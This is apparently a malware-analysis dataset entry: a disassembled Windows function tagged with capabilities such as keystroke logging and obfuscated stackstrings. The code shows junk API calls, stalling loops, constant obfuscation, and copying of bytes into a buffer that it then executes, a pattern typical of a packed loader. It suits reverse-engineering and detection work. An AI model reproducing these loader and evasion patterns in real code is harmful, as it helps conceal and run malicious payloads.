Function at 0x403f30
Capabilities:
Contain obfuscated stackstrings
Delete directory
Get disk size
Get file attributes
Identify system language via api
Log keystrokes via polling
Move file

Disassembly:
mov edx, 0x79d868
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x403f17
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41137b
push eax
mov eax, 0x22d8
mov dword fs:[0], esp
call fcn.0040f320
cmp dword [0x8cb154], 0x6a6
push ebx
push esi
push edi
jne 0x40406d
push 0x403698
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
lea eax, [ebp - 0x6e0]
push eax
push esi
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push esi
call dword [sym.imp.ole32.dll_OleQueryLinkFromData]
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0xc0]
push edx
call dword [sym.imp.ole32.dll_CoGetPSClsid]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x10]
push eax
push 0x4036b8
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
lea ecx, [ebp - 0x14]
push ecx
push 0x4036ec
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 0x88], 0xf
mov dword [ebp - 0x8c], esi
mov byte [ebp - 0x9c], 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], esi
call fcn.00405219
lea ecx, [ebp - 0x38]
call fcn.004052da
lea edx, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x28], 0x40371c
call fcn.0040522a
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0x403934
call fcn.004052da
push esi
call fcn.004058fc
fstp st(0)
push esi
call fcn.004055ad
push esi
push esi
call fcn.004055c3
push esi
push esi
call fcn.00405202
push esi
push esi
call fcn.004055c3
push esi
call fcn.00405703
add esp, 0x24
jmp 0x403f10
mov edi, dword [sym.imp.USER32.dll_SetCaretPos]
xor esi, esi
cmp esi, 0x2800
jge 0x404083
push 0
push 0
call edi
inc esi
cmp esi, 0xe3a7
jl 0x404075
mov eax, 0xb2d3b
add dword [0x8cb154], eax
call fcn.00403e30
call fcn.00403e50
xor esi, esi
cmp dword [0x8cb154], esi
jbe 0x404131
mov edi, dword [sym.imp.KERNEL32.dll_LocalSize]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExW]
jmp 0x4040c0
mov ecx, dword [0x8cb158]
mov dl, byte [ecx + esi + 0xb2d3b]
mov eax, dword [0x8c76c0]
push 0
lea ecx, [ebp - 0x6e0]
push ecx
mov byte [eax + esi], dl
call dword [sym.imp.USER32.dll_CharLowerBuffA]
cmp dword [0x8cb154], 0xa8
jne 0x404128
push 0
call edi
push 0x40372c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea edx, [ebp - 0x2e0]
push edx
call ebx
lea eax, [ebp - 0x1c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
lea ecx, [ebp - 0x16e0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
inc esi
cmp esi, dword [0x8cb154]
jb 0x4040c0
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomA]
mov edi, dword [sym.imp.USER32.dll_LoadIconA]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffW]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x8cb154]
add edx, eax
cmp edx, 0x392
jne 0x4041bf
push 0x403744
call esi
push 0x403750
push 0
call edi
push 0
lea eax, [ebp - 0x16e0]
push eax
call ebx
push 0
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
lea edx, [ebp - 0xae0]
push edx
push 0
call dword [sym.imp.USER32.dll_RealGetWindowClassW]
lea eax, [ebp - 0x22e0]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0
call dword [sym.imp.USER32.dll_CopyAcceleratorTableW]
push 0x403758
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x4f95a3
mov dword [ebp - 0x10], eax
jl 0x404148
mov esi, dword [sym.imp.USER32.dll_GetCursorInfo]
mov edi, dword [sym.imp.USER32.dll_LoadMenuA]
mov ebx, 0x4f4
nop
push 0
call esi
push 0
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub ebx, 1
jne 0x4041e0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x26c0e8
jge 0x40453a
mov dword [ebp - 0x74], 0x789df181
mov dword [ebp - 0x24], 0x31b9910a
mov dword [ebp - 0x54], 0x4fc53e53
mov dword [ebp - 0x40], 0x7c346721
mov dword [ebp - 0x2c], 0x4e732067
mov dword [ebp - 0x44], 0xdc49765
mov dword [ebp - 0x84], 0xc271aad
mov dword [ebp - 0x5c], 0x56946a41
mov dword [ebp - 0x70], 0x3e7569
mov dword [ebp - 0x10], 0x106974f1
mov dword [ebp - 0x64], 0x7942e765
mov dword [ebp - 0x7c], 0x18e5f7e
mov dword [ebp - 0x58], 0x5e6793e1
mov dword [ebp - 0x20], 0x6b17eefd
mov dword [ebp - 0x68], 0x67b9f514
mov dword [ebp - 0x78], 0x127b3624
mov dword [ebp - 0x1c], 0x32433c7b
mov dword [ebp - 0x50], 0x666e5857
mov dword [ebp - 0x14], 0x53d948c8
mov dword [ebp - 0x4c], 0x78302eb6
mov dword [ebp - 0x80], 0x50431de4
mov dword [ebp - 0x3c], 0x459b682b
mov dword [ebp - 0x48], 0x506a8652
mov dword [ebp - 0x18], 0x66955d94
mov dword [ebp - 0x28], 0x6053f20d
mov dword [ebp - 0x30], 0x71231387
mov dword [ebp - 0x60], 0x25c29aa3
mov dword [ebp - 0x6c], 0x41e3f12a
sub dword [ebp - 0x74], 0x1963cea3
add dword [ebp - 0x54], 0x7975ff3f
add dword [ebp - 0x40], 0x287cbbe0
mov eax, 0x3918063d
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
sub dword [ebp - 0x74], 0x69aadd79
mov eax, 0x355f5bfb
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
sub dword [ebp - 0x40], 0x698d2d17
sub dword [ebp - 0x24], 0x5d828057
add dword [ebp - 0x54], 0x24a450c9
mov eax, 0xe5d39a0
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, 0x55498c61
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
add dword [ebp - 0x40], 0x56766dba
add dword [ebp - 0x44], 0x55d2eb79
sub dword [ebp - 0x24], 0x2736533a
sub dword [ebp - 0x24], 0x6d302fe2
sub dword [ebp - 0x54], 0x21fb68a2
mov eax, 0x12b1bb59
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
sub dword [ebp - 0x74], 0x6336ca9c
mov eax, 0x4caf49b7
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
add dword [ebp - 0x40], 0x8a19cd9
add dword [ebp - 0x74], 0x2735829b
add dword [ebp - 0x40], 0x668e80e5
add dword [ebp - 0x64], 0x1d8b996b
add dword [ebp - 0x64], 0x47ecd8b5
mov eax, 0x333e4b9c
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, 0x46204e75
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0x44], 0x5dd4ae7
add dword [ebp - 0x74], 0x6b4dbef9
mov eax, 0x4ced5175
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, 0x44f681b2
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
sub dword [ebp - 0x5c], 0x4d1ffa54
add dword [ebp - 0x40], 0x2156a694
add dword [ebp - 0x44], 0x229da748
sub dword [ebp - 0x20], 0x37a96e6a
mov eax, 0x2d9c80f9
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
sub dword [ebp - 0x7c], 0x23397cc2
add dword [ebp - 0x5c], 0xc07130a
sub dword [ebp - 0x44], 0x4a65c691
mov eax, 0x1420529b
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, 0x32388ec3
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0x78], 0x633a9a7f
add dword [ebp - 0x24], 0x4275dfd5
sub dword [ebp - 0x24], 0x116653e7
sub dword [ebp - 0x1c], 0x3c7f761
sub dword [ebp - 0x10], 0x5eff7500
mov eax, 0x25f32519
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, 0x24e21f49
mul dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
sub dword [ebp - 0x40], 0x3f413680
mov eax, 0x23f741d5
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, 0x72b84400
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
sub dword [ebp - 0x64], 0x168f0e1a
add dword [ebp - 0x84], 0x7c169e1
mov eax, 0x2870602b
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub dword [ebp - 0x7c], 0x599a4fcf
sub dword [ebp - 0x68], 0x4ee443c0
add dword [ebp - 0x48], 0x6b495c87
mov eax, 0x148d562c
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
sub dword [ebp - 0x40], 0x4a9b5133
mov eax, 0x5b788781
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], 0x1d3b3f88
sub dword [ebp - 0x1c], 0x766c0fb0
mov eax, 0x19225a1e
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
add dword [ebp - 0x84], 0x60dc8203
sub dword [ebp - 0x54], 0x2de67e9
mov eax, 0x340d2566
mul dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub dword [ebp - 0x4c], 0x3e8a970c
sub dword [ebp - 0x44], 0x3d4a649c
add dword [ebp - 0x1c], 0x69161cea
add dword [ebp - 0x24], 0x59263130
sub dword [ebp - 0x40], 0x10485a82
add dword [ebp - 0x48], 0x316d75b1
add dword [ebp - 0x40], 0x415e4c37
call ebx
cmp esi, 0x2735c9
jg 0x404551
inc esi
cmp esi, 0x15a24e60
jl 0x404203
call fcn.00403d80
xor edx, edx
cmp edx, 0x26
jne 0x404562
call fcn.00403e10
inc edx
cmp edx, 0x409495
jl 0x404558
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x8cb154], 0x86
jne 0x4045bf
push 0x403778
call esi
push 0x4037d0
call edi
push 0
push 0
push 0
push 0x4037e8
push 0x403820
call ebx
lea edx, [ebp - 0x24]
push edx
push 0x403890
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
sub dword [ebp - 0x10], 1
jne 0x404584
mov esi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov dword [ebp - 0x10], 0x180ef
mov edi, edi
cmp dword [0x8cb154], 0x1f
jne 0x404659
lea eax, [ebp - 0xd8]
push eax
call esi
push 0
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 0
push 0
call edi
lea edx, [ebp - 0xf8]
push edx
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
push 0
lea eax, [ebp - 0x1ae0]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
lea ecx, [ebp - 0x12c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push 0x403900
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
lea edx, [ebp - 0xee0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
sub dword [ebp - 0x10], 1
jne 0x4045e0
push 0x403924
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x8c76c0]
mov dword [0x8ca7ac], eax
call eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret